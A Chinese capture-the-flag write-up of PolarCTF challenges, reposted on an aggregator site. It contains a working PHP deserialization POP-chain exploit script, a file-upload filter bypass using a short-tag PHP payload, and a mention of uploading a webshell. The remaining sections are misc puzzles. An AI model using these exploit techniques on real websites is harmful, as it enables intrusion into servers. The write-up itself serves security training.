【polarctf的部分题解】

【web】phar —》私有属性赋值

当时遇到不知道privated该怎样赋值才可以,链子挺简单的,但是语法不熟悉

在这里插入图片描述

 <?php
include 'funs.php';
highlight_file(__FILE__);
if (isset($_GET['file'])) {if (myWaf($_GET['file'])) {include($_GET['file']);} else {unserialize($_GET['data']);}
} 

include(文件),这里很明显有文件包含漏洞
在这里插入图片描述

在这里插入图片描述

<?php
include 'f1@g.php';
function myWaf($data)
{if (preg_match("/f1@g/i", $data)) {echo "NONONONON0!";return FALSE;} else {return TRUE;}
}class A
{private $a;public function __destruct(){echo "A->" . $this->a . "destruct!";}
}class B
{private $b = array();public function __toString(){$str_array= $this->b;$str2 = $str_array['kfc']->vm50;return "Crazy Thursday".$str2;}
}
class C{private $c = array();public function __get($kfc){global $flag;$f = $this->c[$kfc];var_dump($$f);}
}

接下来就是构造链子,全是私有属性,使用
public function __construct()方法进行赋值

exp如下

<?phpclass A
{private $a;public function __construct(){$this->a=new B();}public function __destruct() //链子入口{echo "A->" . $this->a . "destruct!";}
}class B
{private $b = array('');public function __construct(){$this->b=array('kfc'=>new C());}public function __toString(){$str_array= $this->b;$str2 = $str_array['kfc']->vm50;return "Crazy Thursday".$str2;}
}
class C{private $c = array();public function __construct(){$this->c=array('vm50'=>'flag');}public function __get($kfc){global $flag;$f = $this->c[$kfc];var_dump($$f);}
}echo urlencode(serialize(new A()));

在这里插入图片描述

【web】uploader —》文件上传表单

在这里插入图片描述

 <?php
$sandBox = md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandBox)){mkdir($sandBox,0755,true);
}
if($_FILES){move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";echo "文件类型: " . $_FILES["file"]["type"] . "<br>";echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";echo $sandBox;
}highlight_file(__FILE__); 

这里没有文件上传的交互界面,得自己写个html表单来上传文件

用gpt进行生成,或者网上找到一个

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>文件上传表单</title>
</head>
<body>
<h2>上传文件</h2>
<form action="http://4670ddc5-bf03-46ea-8c8b-460ae906c629.www.polarctf.com:8090/" method="post" enctype="multipart/form-data"><label for="file">选择文件:</label><input type="file" name="file" id="file"><br><br><input type="submit" name="submit" value="上传">
</form>
</body>
</html>

如下图,上传文件成功的回显信息
在这里插入图片描述

如果直接上传php文件
会爆出502的错误
在这里插入图片描述

尝试抓包修改文件后缀

在这里插入图片描述

过滤了 <?php中的php
使用段标签

<?=phpinfo();?>

在这里插入图片描述

拼接好路径,尝试访问该文件
如下,成功访问
在这里插入图片描述
然后上传一句话
在这里插入图片描述

【misc】一小时十分钟后看海

在这里插入图片描述

当时对题目的理解有误,以为就是对所给图片的地方就是要找的地方,实际上是在这个地方,还有一小时十分钟的时间,才能去看海
结合当时的地点

在这里插入图片描述

可以看到有三个公交站的路线
在这里插入图片描述

高德地图上直接搜索
在这里插入图片描述

在这里插入图片描述

现在的思路就是要看,找一个海边的,而且时间差不多是一小时十分钟的
三个目标
在这里插入图片描述

在这里插入图片描述

有时候网上的和一些工具不一样生成的md5

在这里插入图片描述

在这里插入图片描述

【misc】加点儿什么

通过binwalk的分析得到两个文件
在这里插入图片描述

得到一个cpp文件

这里考察一点c++的基础,不是很懂也没关系

输入1的时候,是有正常回显的,但是输入2的时候没有正常回显
在这里插入图片描述

可以加密和解密的过程应该是差不多的,所以这里的思路就是对照着,这两个的区别在哪里就可以,找到可以输出的点

//加密
void Encryption()
{cout<<"请输入明文:"<<endl;gets(plaintext);cout<<"密文为:"<<endl;for(int i=0; plaintext[i] != '\0'; i++){if(plaintext[i] >= 'A' && plaintext[i] <= 'Z'){ciphertext[i] = (plaintext[i] - 'A' + K) % 26 + 'A';}else if (plaintext[i] >= 'a' && plaintext[i] <= 'z'){ciphertext[i]=(plaintext[i] - 'a' + K) % 26 + 'a';}elseciphertext[i] = plaintext[i];cout<<plaintext[i];}printf("\n");
}

解密

void Decryption()
{cout<<"请输入密文:"<<endl;gets(ciphertext);cout<<"明文为:"<<endl;for(int i=0; ciphertext[i] != '\0'; i++){if(ciphertext[i] >= 'A' && ciphertext[i] <= 'Z'){plaintext[i] = ((ciphertext[i] - 'A' - K) % 26 + 26)%26 + 'A';}else if (ciphertext[i] >= 'a' && ciphertext[i] <= 'z'){plaintext[i]=((ciphertext[i] - 'a' - K) % 26 + 26)%26 + 'a';}elseplaintext[i] = ciphertext[i];}printf("\n");
}

这两个对比很明显就解密少了个输出
cout<<plaintext[i];

加上即可(虽然和原来是一样的,哈哈)
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/771207.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

案例分析:汽车零配件行业CRM解决方案,成功案例揭秘!

近年来&#xff0c;国家大力推动新能源汽车行业发展&#xff0c;在国内汽车工业实现“弯道超车”的同时&#xff0c;新能源汽车出口海外&#xff0c;新市场有望为自主新能源方向贡献增量。 汽车行业的快速发展&#xff0c;势必会带动汽车零配件行业走向增长。从政策方面看&…

牛客网BC-33 统计成绩(数组排序思想)

题目如下 --------------------------------------------------------------------------------------------------------------------------------- 思路&#xff1a;以数组形式输入&#xff0c;并将数组顺序&#xff08;或者逆序&#xff09;排序&#xff0c;最后输出最大值最…

Redis入门到实战-第十二弹

Redis实战热身Bitfields篇 完整命令参考官网 官网地址 声明: 由于操作系统, 版本更新等原因, 文章所列内容不一定100%复现, 还要以官方信息为准 https://redis.io/Redis概述 Redis是一个开源的&#xff08;采用BSD许可证&#xff09;&#xff0c;用作数据库、缓存、消息代理…

并发编程之Callable、Runnable、Future与FutureTask

目录 前言一、Callable与Runnable1.1 Callable1.2 Runnable1.3 二者对比 二、Future与FutureTask2.1 Future2.2 FutureTask2.3 二者对比 三、综合使用3.1 Callable执行Future获取结果3.2 Callable执行任务FutureTask获取执行结果 四、应用场景 前言 在 Java 中&#xff0c;Cal…

小明SEO:网站域名被投诉怎么恢复呢?分享

小明SEO对他的网站进行了分析&#xff0c;发现网站上存在大量非法内容&#xff0c;比如股票、金融、外汇等&#xff0c;甚至还有虚假宣传来吸引其他网站的流量。 随后他检查了该网站的tdk设置&#xff0c;尤其是网站标题&#xff0c;发现也存在违规行为。 这就是网站域名被投诉…

富格林:抵制虚假受害保全出金

富格林指出&#xff0c;黄金一直以避险资产和投资产品闻名&#xff0c;一直备受投资者们的关注。但是在现货黄金交易中&#xff0c;有部分投资者指出不幸遭遇了虚假操作导致出金失败等受害现象。事实上&#xff0c;现货黄金火热&#xff0c;市面上也或多或少涌现了虚假操作现象…

LeetCode 两数之和 解法 (转发篇)

题&#xff1a;两数之和 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案里不能重复出现。…

React Native 应用打包

引言 在将React Native应用上架至App Store时&#xff0c;除了通常的上架流程外&#xff0c;还需考虑一些额外的优化策略。本文将介绍如何通过配置App Transport Security、Release Scheme和启动屏优化技巧来提升React Native应用的上架质量和用户体验。 配置 App Transport…

Python 构建项目工具库之pybuilder使用详解

概要 在Python项目开发中,良好的构建和自动化流程是非常重要的。PyBuilder是一个用于构建Python项目的工具,它提供了简单易用的方式来定义和管理项目的构建过程,包括依赖管理、测试、代码质量检查等。本文将深入探讨PyBuilder库的使用方法、功能特性以及如何利用它来构建优…

SQL映射文件

一、SQL映射的xml文件 1.1 mapper元素 二、select 三、别名与Java映射 四、resultMap 啊

一道很有意思的题目(考初始化)

这题很有意思&#xff0c;需要你对初始化够了解才能解出来 &#xff0c;现在我们来看一下吧。 这题通过分析得出考的是初始化。关于初始化有以下知识点 &#xff08;取自继承与多态&#xff08;继承部分&#xff09;这文章中&#xff09; 所以根据上方那段知识点可知&#xf…

Linux/Backdoor

Backdoor Enumeration nmap 第一次扫描发现系统对外开放了22&#xff0c;80和1337端口&#xff0c;端口详细信息如下 22端口对应的是ssh服务&#xff0c;80端口使用Apache&#xff0c;title上写着backdoor&#xff0c;而且可以看出使用了wordpress&#xff0c;1337端口暂时还…

HyperWorks2023 下载地址及安装教程

HyperWorks是一套由Altair Engineering开发的集成化仿真平台。这个平台涵盖了许多不同领域的仿真和优化应用&#xff0c;包括结构分析、流体力学、多体动力学、优化、电磁场分析等。 HyperWorks提供了一系列强大的工具和模块&#xff0c;用于进行复杂的工程仿真和优化任务。它…

Rust 的 HashMap 特定键值元素值的累加方法

在Rust中&#xff0c;如果你想要对HashMap中特定键对应的值进行累加操作&#xff0c;你需要首先检查该键是否已存在。如果存在&#xff0c;则取出其值&#xff0c;进行累加&#xff0c;然后将结果存回HashMap。如果不存在&#xff0c;则可能需要插入一个新的键值对&#xff0c;…

Unity VideoPlayer 全屏到 FGUI

需求&#xff1a; 利用VideoPlayer将视频全屏显示到FGUI上。 解决方案&#xff1a; 在FGUI上创建一个全屏UI&#xff0c;创建一个装载器&#xff0c;大小设置为全屏。 设置 VideoPlayer 的渲染方式为 RenderMode.RenderTexture. 创建RenderTexture&#xff0c;&#xff08;将视…

数据结构 之 队列习题 力扣oj(附加思路版)

优先级队列 #include<queue> --队列 和 优先级队列的头文件 优先级队列&#xff1a; 堆结构 最大堆 和 最小堆 相关函数&#xff1a; front() 获取第一个元素 back() 获取最后一个元素 push() 放入元素 pop() 弹出第一个元素 size() 计算队列中元素…

简单了解synchronized

什么是synchronized synchronized是Java提供的一个关键字&#xff0c;用于方法或者代码块&#xff0c;保证并发安全。 synchronized使用场景 同步代码块&#xff08;原子性&#xff09; synchronized可以用在方法上&#xff0c;或者用在代码块。 可锁的对象可以是普通对象…

JQ操作Dom(下)

一、设置样式 <div>设置样式</div> <script type"text/javascript">//设置一条样式$(div).css(background-color,red);//设置多条样式使用类名的方式 </script> <div>设置样式 </div> <script type"text/javascript&q…

C++语法|C++八股|内存泄漏杂谈

文章目录 定义分类防⽌内存泄露的方法 定义 内存泄漏是指已分配的内存未能成功释放&#xff0c;并且程序失去了对该内存的控制&#xff0c;因此无法再次使用或释放。随着程序的运行&#xff0c;内存泄漏会逐渐积累&#xff0c;最终可能导致内存不足&#xff0c;影响程序的性能…

Spring Boot设置io临时目录

在部署springboot项目&#xff0c;使用MultipartFile上传文件会出现以下异常 Failed to parse multipart servlet request; nested exception is java.io.IOException: The temporary upload location [/tmp/tomcat.3016596448718765136.18001/work/Tomcat/localhost/xx] is …